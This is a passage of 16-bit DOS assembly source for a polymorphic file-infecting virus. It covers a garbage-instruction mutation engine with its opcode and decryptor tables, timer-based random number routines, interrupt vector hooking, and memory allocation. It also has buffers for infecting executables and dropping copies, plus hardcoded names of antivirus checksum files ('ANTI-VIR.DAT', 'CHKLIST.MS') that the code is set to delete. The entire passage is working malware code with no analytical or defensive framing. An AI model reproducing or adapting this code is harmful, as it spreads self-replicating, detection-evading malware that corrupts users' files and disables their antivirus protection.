ax,di dec ax stosb pop di ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate push/pop pairs ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_push_pop: call gen_one_push call gen_one_pop ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate push instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_one_push: mov ax,offset end_push - offset push_table call rand_in_range mov si,offset push_table jmp short store_byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate pop instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_one_pop: mov ax,offset end_pop - offset pop_table call rand_in_range mov si,offset pop_table jmp short store_byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate one byte garbage ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_one_byte: mov ax,offset end_one_byte - offset one_byte_table call rand_in_range mov si,offset one_byte_table ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Just store one byte from a table ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ store_byte: add si,ax movsb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_reg_reg: mov ax,offset end_two_byte - offset two_byte_table call rand_in_range mov si,offset two_byte_table call store_byte mov ax,offset end_reg_reg - offset reg_reg_table call rand_in_range mov si,offset reg_reg_table jmp short store_byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_inm_01h: mov ax,offset end_inm_01h - offset inm_01h_table call rand_in_range mov si,offset inm_01h_table call store_byte call get_rnd stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_inm_02h: mov ax,(offset end_inm_02h - offset inm_02h_table)/02h call rand_in_range mov si,offset inm_02h_table add ax,ax add si,ax movsw call get_rnd stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Poly engine tables ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_reg_table equ this byte opcodes_si equ this byte db 0BEh ; mov si,imm db 84h ; add [si+nn],key ; rol [si+nn],01h ; inc [si+nn] db 0ACh ; sub [si+nn],key db 0B4h ; xor [si+nn],key db 8Ch ; ror [si+nn],01h ; dec [si+nn] db 0C6h ; add si,imm db 0EEh ; sub si,imm db 46h ; inc si db 0FEh ; cmp si,imm opcodes_di equ this byte db 0BFh ; mov di,imm db 85h ; add [di+nn],key ; rol [di+nn],01h ; inc [di+nn] db 0ADh ; sub [di+nn],key db 0B5h ; xor [di+nn],key db 8Dh ; ror [di+nn],01h ; dec [di+nn] db 0C7h ; add di,imm db 0EFh ; sub di,imm db 47h ; inc di db 0FFh ; cmp di,imm opcodes_bx equ this byte db 0BBh ; mov bx,imm db 87h ; add [bx+nn],key ; rol [bx+nn],01h ; inc [bx+nn] db 0AFh ; sub [bx+nn],key db 0B7h ; xor [bx+nn],key db 8Fh ; ror [bx+nn],01h ; dec [bx+nn] db 0C3h ; add bx,imm db 0EBh ; sub bx,imm db 43h ; inc bx db 0FBh ; cmp bx,imm opcodes_bp equ this byte db 0BDh ; mov bp,imm db 86h ; add [bp+nn],key ; rol [bp+nn],01h ; inc [bp+nn] db 0AEh ; sub [bp+nn],key db 0B6h ; xor [bp+nn],key db 8Eh ; ror [bp+nn],01h ; dec [bp+nn] db 0C5h ; add bp,imm db 0EDh ; sub bp,imm db 45h ; inc bp db 0FDh ; cmp bp,imm end_gen_reg equ this byte crypt_table equ this byte dw offset crypt_add dw offset crypt_sub dw offset crypt_xor dw offset crypt_rol dw offset crypt_ror dw offset crypt_inc dw offset crypt_dec end_crypt equ this byte inc_ptr_table equ this byte dw offset ptr_add0002h dw offset ptr_subFFFEh dw offset ptr_inc_inc dw offset ptr_inc_add dw offset ptr_add_inc dw offset ptr_inc_sub dw offset ptr_sub_inc dw offset ptr_add_add dw offset ptr_sub_sub dw offset ptr_add_sub dw offset ptr_sub_add end_inc_ptr equ this byte opcodes_table equ this byte dw offset opcodes_si dw offset opcodes_di dw offset opcodes_bx dw offset opcodes_bp end_opcodes equ this byte generator_table equ this byte ; Garbage generators: dw offset gen_one_byte ; One byte instr dw offset gen_push_pop ; push+pop dw offset gen_xpushpop ; push+garbage+pop dw offset gen_reg_reg ; mov,add,sub,or... dw offset gen_cond_jump ; cond jmp+garbage dw offset gen_inm_01h ; Gen reg,imm dw offset gen_inm_02h ; Gen reg,imm end_generator equ this byte push_table equ this byte ; Push generator push ax push bx push cx push dx push si push di push bp push sp push cs push ds push es push ss end_push equ this byte pop_table equ this byte ; Pop generator pop ax pop cx pop dx end_pop equ this byte one_byte_table equ this byte ; One byte instrs aaa aas cbw clc cld cmc cwd daa das dec ax dec cx dec dx inc ax inc cx inc dx int 03h nop stc std end_one_byte equ this byte two_byte_table equ this byte db 8Ah ; mov reg8,reg8 db 8Bh ; mov reg16,reg16 db 02h ; add reg8,reg8 db 03h ; add reg16,reg16 db 2Ah ; sub reg8,reg8 db 2Bh ; sub reg16,reg16 db 12h ; adc reg8,reg8 db 13h ; adc reg16,reg16 db 1Ah ; sbb reg8,reg8 db 1Bh ; sbb reg16,reg16 db 32h ; xor reg8,reg8 db 33h ; xor reg16,reg16 db 22h ; and reg8,reg8 db 23h ; and reg16,reg16 db 0Ah ; or reg8,reg8 db 0Bh ; or reg16,reg16 end_two_byte equ this byte reg_reg_table equ this byte db 0C0h db 0C1h db 0C2h db 0C3h db 0C4h db 0C5h db 0C6h db 0C7h db 0C0h db 0C1h db 0C2h db 0C3h db 0C4h db 0C5h db 0C6h db 0C7h end_reg_reg equ this byte inm_01h_table equ this byte db 0B0h ; mov al,imm db 0B4h ; mov ah,imm db 0B2h ; mov dl,imm db 0B6h ; mov dh,imm db 04h ; add al,imm db 2Ch ; sub al,imm db 14h ; adc al,imm db 1Ch ; sbb al,imm db 34h ; xor al,imm db 0Ch ; or al,01h db 24h ; and al,imm end_inm_01h equ this byte inm_02h_table equ this byte db 80h,0C4h ; add ah,1C db 80h,0C2h ; add dl,1C db 80h,0C6h ; add dh,1C db 80h,0ECh ; sub ah,1C db 80h,0EAh ; sub dl,1C db 80h,0EEh ; sub dh,1C db 80h,0D4h ; adc ah,1C db 80h,0D2h ; adc dl,1C db 80h,0D6h ; adc dh,1C db 80h,0DCh ; sbb ah,1C db 80h,0DAh ; sbb dl,1C db 80h,0DEh ; sbb dh,1C db 80h,0F4h ; xor ah,1C db 80h,0F2h ; xor dl,1C db 80h,0F6h ; xor dh,1C db 80h,0CCh ; or ah,1C db 80h,0CAh ; or dl,1C db 80h,0CEh ; or dh,1C db 80h,0E4h ; and ah,1C db 80h,0E2h ; and dl,1C db 80h,0E6h ; and dh,1C db 83h,0E2h ; and dx,0000 db 83h,0C2h ; add dx,0000 db 83h,0CAh ; or dx,0000 db 83h,0F2h ; xor dx,0000 db 83h,0DAh ; sbb dx,0000 db 83h,0D2h ; adc dx,0000 db 83h,0EAh ; sub dx,0000 end_inm_02h equ this byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ File names to delete inside the int 21h level encryption ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ del_this_shit01 db "ANTI-VIR.DAT",00h del_this_shit02 db "CHKLIST.MS",00h dd 00000000h end_area03h equ this byte dd 00000000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Memory allocation routine ³ ;³ On entry: ³ ;³ SI -> number of paragraphs to allocate ³ ;³ On exit: ³ ;³ DI -> allocated base address (0000h if error) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ mem_alloc: xor di,di ; Error flag mov ax,5800h ; Get and save memory int 21h ; allocation strategy jnc mem_ok_1 ret mem_ok_1: push ax mov ax,5801h ; Set new allocation mov bx,0080h ; strategy to first int 21h ; fit high then low mem_ok_2: mov ax,5802h ; Get and save UMB int 21h ; link state jc mem_error_1 xor ah,ah push ax mov ax,5803h ; UMB link state on mov bx,0001h int 21h mov ah,48h ; Allocate memory mov bx,si int 21h jc mem_error_2 mov di,ax mem_error_2: mov ax,5803h ; Restore UMB pop bx ; link state int 21h mem_error_1: mov ax,5801h ; Restore allocation pop bx ; strategy int 21h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Timer-based random number generator ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_rnd: push cx in ax,40h ; Get a random number mov cl,al ; using the timer xor al,ah ; port xor ah,cl xor ax,word ptr cs:[randomize] mov word ptr cs:[randomize],ax pop cx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate a 16bit random number ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ rand_16: push bx call get_rnd ; Get a 16bit random mov bl,al ; number using our call get_rnd ; 8bit rnd generator mov bh,al call get_rnd xor bl,al call get_rnd xor bh,al xchg bx,ax pop bx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate a random number between 0 and AX ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ rand_in_range: push bx ; Returns a random push dx ; number between 0 and xchg ax,bx ; the entry in AX call get_rnd xor dx,dx div bx xchg ax,dx ; Reminder in DX pop dx pop bx ret dd 00000000h end_area02h equ this byte dd 00000000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Return the al vector in ES:BX ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Set al interrupt vector to DS:DX ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ set_int: push ax push bx push ds cli xor ah,ah rol ax,1 rol ax,1 xchg ax,bx push ds xor ax,ax mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Save all the registers in the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ push_all: cli pop word ptr cs:[ret_push] pushf push ax push bx push cx push dx push bp push si push di push es push ds push word ptr cs:[ret_push] sti ret ret_push dw 0000h ; Caller address ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Restore all the registers from the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ pop_all: cli pop word ptr cs:[ret_pop] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push word ptr cs:[ret_pop] sti ret ret_pop dw 0000h ; Caller address dd 00000000h end_area01h equ this byte dd 00000000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus buffers (inserted into infections) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ old_header db 1Ch dup (00h) ; Old file header dd 00000000h virus_inf_end equ this byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus data buffer (not inserted into infections) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dd 00000000h use_close db 00h use_terminate db 00h eng_recursive db 00h eng_loop_point dw 0000h eng_crypt_key dw 0000h eng_displace dw 0000h eng_entry_point dw 0000h eng_init_ptr dw 0000h eng_cmp_ptr dw 0000h eng_exit_jmp dw 0000h randomize dw 0000h ; Seed for random numbers file_attr dw 0000h ; Original file attribute file_date dw 0000h ; File date file_time dw 0000h ; ... and time file_size dd 00000000h ; Size of file to infect inf_header db 1Ch dup (00h) ; Infected header exec_filename db 80h dup (00h) ; File to infect open_filename db 80h dup (00h) ; File to infect delete_path db 80h dup (00h) ; File to delete dropper_name db 0Eh dup (00h) ; Dropper file name virus_mem_end equ this byte anti_eta ends end entry_point